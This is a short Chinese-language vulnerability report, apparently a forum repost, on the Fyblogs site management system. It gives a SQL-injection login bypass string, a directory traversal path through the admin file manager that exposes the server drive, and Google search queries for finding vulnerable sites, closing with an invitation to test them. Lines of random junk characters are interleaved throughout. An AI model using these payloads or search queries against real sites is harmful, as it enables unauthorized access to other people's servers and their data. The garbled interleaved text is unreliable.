Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

简要描述：
: N# Y0 U7 b* D4 i
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

% `4 }* S2 z% m3 s3 Z详细说明：
: O, z" K$ f( Q5 Z
后台万能密码 'or'='or'
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
5 Z3 ~0 t. b# U2 z# D4 H- Ladmin/uploadfile.asp?currentFolder=/upfiles/../

- x$ a: ~9 C5 o  e# {- Y漏洞证明：
2 h! o5 A9 q9 q6 {$ R  ?2 _) W
. U5 m. O: M1 ]# {谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

8 l) n. p1 ~7 x4 a" B6 ^! d# v; `可以测试

​